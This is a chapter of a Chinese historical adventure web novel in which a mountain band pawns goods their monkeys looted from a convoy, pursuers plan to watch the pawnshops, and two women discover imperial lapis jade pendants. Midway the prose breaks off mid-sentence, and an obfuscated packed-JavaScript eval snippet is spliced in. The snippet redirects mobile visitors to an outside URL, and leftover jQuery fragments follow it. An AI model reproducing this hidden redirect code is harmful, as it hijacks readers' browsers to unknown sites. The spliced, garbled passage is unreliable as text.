10. 第十回

作品:《金螭记

    就在石头顺着绳梯攀援而下时,幺妹儿的猴子猴孙们已将趁乱夺来的战利品悉数搬到了竹林后面的堂屋之中。


    林婉清端坐在堂屋正中的八仙桌旁,正仔细清点着桌上堆成小山的礼盒匣子,并将收获的金石玉器一一登记造册。


    醉神仙则拎着他的酒葫芦,绕着八仙桌瞧瞧这个,摸摸那个,嘴里不住地赞叹:


    “好东西!”


    “真是好东西!”


    等到将桌上的物件看了个遍,他一歪脑袋冲门口的老张头喊道:


    “老张!你倒是来看看呀!石丫头这回当真干了票大的!”


    老张头跟没听见似的,闷声坐在堂屋的门槛上,背对着屋内二人,一口接一口地抽着旱烟。每吐出一口白烟,他都会抬起眼皮,漫不经心地瞅一眼院坝对面的竹林。


    直到看见幺妹儿灵巧的身影穿林而出,他才默不作声地将那烟袋锅往地上一磕,慢悠悠直起身来,背着手跨过门槛,进屋坐到了林婉清对面。


    老张头刚一坐定,便见石头领着幺妹儿欢天喜地地闯了进来。


    石头一进屋便瞧见了桌上的匣子堆。虽然心中早有预期,她依旧表现得喜出望外,连连惊呼:


    “我的老天爷!真是块肥肉啊!”


    醉神仙咂上一口老酒,也跟着应和道:


    “可不是嘛。石丫头,这回你爹爹可没话说了。”


    老张头没急着搭话,他一脸严肃地坐在八仙桌旁,从拴在烟杆上的荷包里摸出一支小竹签,拿在手里仔仔细细地剔起了烟袋锅里的烟垢。


    林婉清放下笔,拉着石头坐到身旁,又端起茶壶给她斟了一碗茶水放到面前。


    老张头这才不疾不徐地沉声问道:


    “做的干净吗?”


    “包干净!”石头得意洋洋地答道,“他们做梦也想不到姑奶奶我能号令猴群!还当是捅了猴子窝呢!哈哈哈。”


    “打算怎么折现?”


    老张头手上的动作没停,只是抬眼瞥了一眼桌上的木匣盒子。


    “当然是上蓬县当了去。”


    “当了?!”老张头陡然拔高了音量,手上的动作也停了下来。


    “万一他们报官,上当铺不就自投罗网了。”林婉清也难掩担忧神色。


    “林小姐此言差矣。”醉神仙一抬腿骑到门槛上,靠着门框懒洋洋地坐了下来,“让人打了,自然要上告官老爷,叫官差将那恶徒缉拿归案。可要是被狗咬了,难不成还要官老爷满大街追狗去?”


    “知我者醉神仙也!”石头探身向前,同屋内三人进一步分析道,“现下黑市肯定去不得,撇开官府的探子不说,中间的牙人也趁火打劫,抽成一个比一个高。总不能咱们辛苦忙活一场,到头来大头让那不相干的人占了。”


    “下家也不好找呀,风声太紧,都怕被抓。”醉神仙适时补充道。


    “对!咱们寨子已经一年没进项了,到处都等着银子救急,没着没落地干等着可不行。”石头又说。


    “路遇野猴撒泼,状告无门只能自认倒霉。若无人报官,又何谈赃物。若无赃物可言,上当铺倒是个换钱的好法子!”林婉清拿笔杆敲着额头,自语道。


    “就是呀,所以我打算趁热打铁,明天一早就上蓬县,把这堆东西都给当了。”


    “我和你一起去吧,”林婉清轻声说,“这些钗环镯子什么的去了木匣还好拿,那几个瓷瓶得带着匣子,你一个人怕是拿不了。”


    “喊陈爹爹家的莽娃儿也跟着去,”一直沉默不语的老张头开口道,“姑娘家家的……大的喊莽娃儿拿。”


    “要的!”石头开心地一口应下。


    “蓬县有三家当铺,你们仨正好一人一间,省得东西太多叫人起疑。”醉神仙砸上一口老酒,眯着眼说。


    “再换上身好点的衣裳,有一丁点儿不对劲就给老子跑。莫一天就想到充能干。”老张头沉着脸补充道。


    “放心吧!我先去找莽娃儿。”石头急吼吼地起身就走。


    “你慢点,我同你一道。”林婉清忙不迭跟着站起来,追了上去。


    就在石林二人挽着手穿行于田间地头之时,辛重光一行人也已进了城,寻了蓬县最大的一间客栈住下。


    曹利叫掌柜的安排了店里最大的包厢,置办了最贵的席面来招待辛重光,刘士还特地差人搬了好几坛无量液上桌助兴,大有不醉不归的架势。


    辛重光和小八前脚刚踏进包厢门,刘士便左右各拽一个,先给辛重光硬按到了主位上坐着,再将小八安排到了辛重光的右手边坐下,自己则坐到了辛重光的左手边。


    等三人坐定,曹利拎着茶壶给三人倒上茶,又端着酒壶给刘士还有辛重光斟满了酒。刘士要曹利也入席共饮,曹利虽未推辞,但还是固执地坐到了最靠门的位置上。


    等曹利也入席坐定,刘士举杯道:


    “第一杯我敬辛大哥,还有小八。若不是你们仗义相救,妙音怕是真的就没了,车队也要遭大殃。”


    “对对对。”曹利赶紧给自己也满上酒,端起酒杯附和道。


    “刘公子言重了。”辛重光提杯回应道。


    “辛大哥,你这就见外了,叫我弘毅就行。”


    “弘毅兄。”


    “辛大哥!”


    随着清脆的捧杯声响起,三人将杯中酒一饮而尽。小八年纪小饮不了酒,也跟着端起茶杯干了一杯茶水。


    觥筹交错间,曹利又同辛重光谈起了蹲守当铺的计划。刘士此前并不知晓此事,如今一听,方知猴群袭击的内情,更觉得这守株待兔的计划惊险刺激,有趣得紧。两杯浊酒下肚,他竟自告奋勇,说什么也要带人去守城东的典当铺子。


    辛重光摇晃着手里的酒杯,显得有些为难。刘士这混世魔王行事向来没谱,若是轻易将他纳入计划,保不齐会惹出点什么乱子。


    曹利看出了辛重光的犹豫,但又拿自家少爷没辙,只能赔着笑,试图帮刘士说服辛重光。


    “其实这三家铺子都或多或少承过我们二爷的情,方才一进城我就差人去打点好了,一会儿也会把绘制好的寿礼图样往各家都送上一份。明日开市他们柜上的人自会留心,咱们的人去了只消在后堂坐着喝茶,柜上要是发现什么,自会差人来叫……”


    辛重光哪能听不出曹利话里话外的意思。其实对他而言,若能成功寻回寿礼,自然皆大欢喜,若不能寻回,也谈不上什么损失,毕竟他揽下这档子事是醉翁之意不在酒。倘若那纨绔掺合进来当真惹出了乱子,出力收拾残局兴许还能让他同这主仆二人的关系又近上几分。


    就在辛重光思忖权衡之际,曹利已将准备的话都说了个干净。辛重光便顺水推舟,依了刘士。至于余下那两家铺子,自然分别由小八和辛重光亲自带人去守。


    鉴于席上的人明日都有要紧事,辛重光担心刘士又醉酒误事,便提醒他莫要贪杯,点到为止就好。曹利也觉得正事要紧,在争得刘士与辛重光的同意后,直


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266405|166593||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    接招呼店小二将桌上的酒盅都撤了去。


    如此一来,席间推杯换盏的热闹不再,可场面却并不冷清,四人一面共享满桌珍馐美馔,一面闲谈畅聊,气氛融洽至极。


    而在白云山上的桃源寨里,林婉清正坐在镜前轻轻篦着头。


    石头飞也似的从屋外窜进卧房,回头谨慎地掩上房门,又一跃跨上床铺,拿被子将自己裹了个严严实实。


    “婉清,婉清。”石头从被子里伸出一根手指头,冲林婉清勾了勾。


    不明就里的林婉清拿着篦子移步床边,靠着床沿坐了下来。不等林婉清坐定,石头迫不及待地从被子里掏出一只木匣塞到她手里,神秘兮兮地说:


    “瞧瞧。”


    林婉清满眼疑惑地将篦子放到一边,轻轻掀开那木匣盖子,两枚通体靛蓝的玉佩顿时映入眼帘。


    “没见过吧?”石头得意地说,“这可是大宝贝,幺妹儿打那马车暗格里翻出来的。”


    林婉清黛眉微蹙,欲言又止。


    “怎么?有问题?”石头取出一枚玉佩,拿在手里左看右看。


    “这个明日也要当了吗?”林婉清思忖再三,终于开口问道。


    “没,我想留着送爹爹还有醉神仙来着。”石头坦言。


    “那便好。”林婉清长舒一口气。


    “你认得这玉佩?”石头追问道。


    “玉佩没见过,不过这石头我认得。”林婉清轻声说。


    “巧了!”石头兴奋道,“我也老觉得这石头莫名地眼熟。但就是想不起来在哪见过。你是在哪见过?”


    “刘知礼府上。”


    “呵!还真是这个杀千刀的刘家!真该叫幺妹儿……”石头气急,又激动地抡起了拳头。林婉清神色严肃地握住石头的手,打断道:


    “你可知这是什么石头?”


    “什么石头?”石头瞧出了林婉清的脸色变化,不敢再闹。


    “此石名唤青金石,又称黛琉璃。因其色相如天,乃皇家御用之物。”


    “那刘知礼府上的……”


    “乃中宫亲赏。”


    “那这两块……”石头一下子意识到了事情的严重性,小心翼翼地将手里的玉佩放回了木匣中。


    “你方才说这玉佩藏在暗格里?”林婉清突然问。


    “嗯。”


    “不对呀,若是宫里赏的,刘知礼定会敲锣打鼓,抬着轿子去迎,怎么会这么藏着掖着……这对玉佩怕是有蹊跷……”说着,林婉清盖好木匣,将其递还给石头,道:“不管怎样,你先将这匣子藏好,切莫再叫第三个人瞧见。这东西寻常百姓见不着,显贵之家知道的可不少。”


    石头一面连连颔首称是,一面下床行至墙角,搬开一只靠墙放着的樟木箱子,露出了一只盖在地上的活动门板。石头蹲下身,掀开门板,带着匣子钻进了门板下面的洞里。


    “说起来还有件怪事。”藏好木匣后,石头钻回被窝,对林婉清说,“偷鸟那俩人还跟着车队的,不仅帮他们打散了猴群,还将鸟还了回去……”


    “想来也是居心叵测的宵小之辈,”林婉清将篦子放回妆奁,回到床上,同石头并排躺在了一起,“咱们明日早点出发吧,免得夜长梦多。”


    “好。”石头应了一声,翻身闭上了眼。可不论她如何努力想要睡去,那靛蓝的玉佩就是在脑中挥之不去。石头忍不住一直想:


    “婉清说这是宫里的东西,我总不会是在宫里见过的吧?……”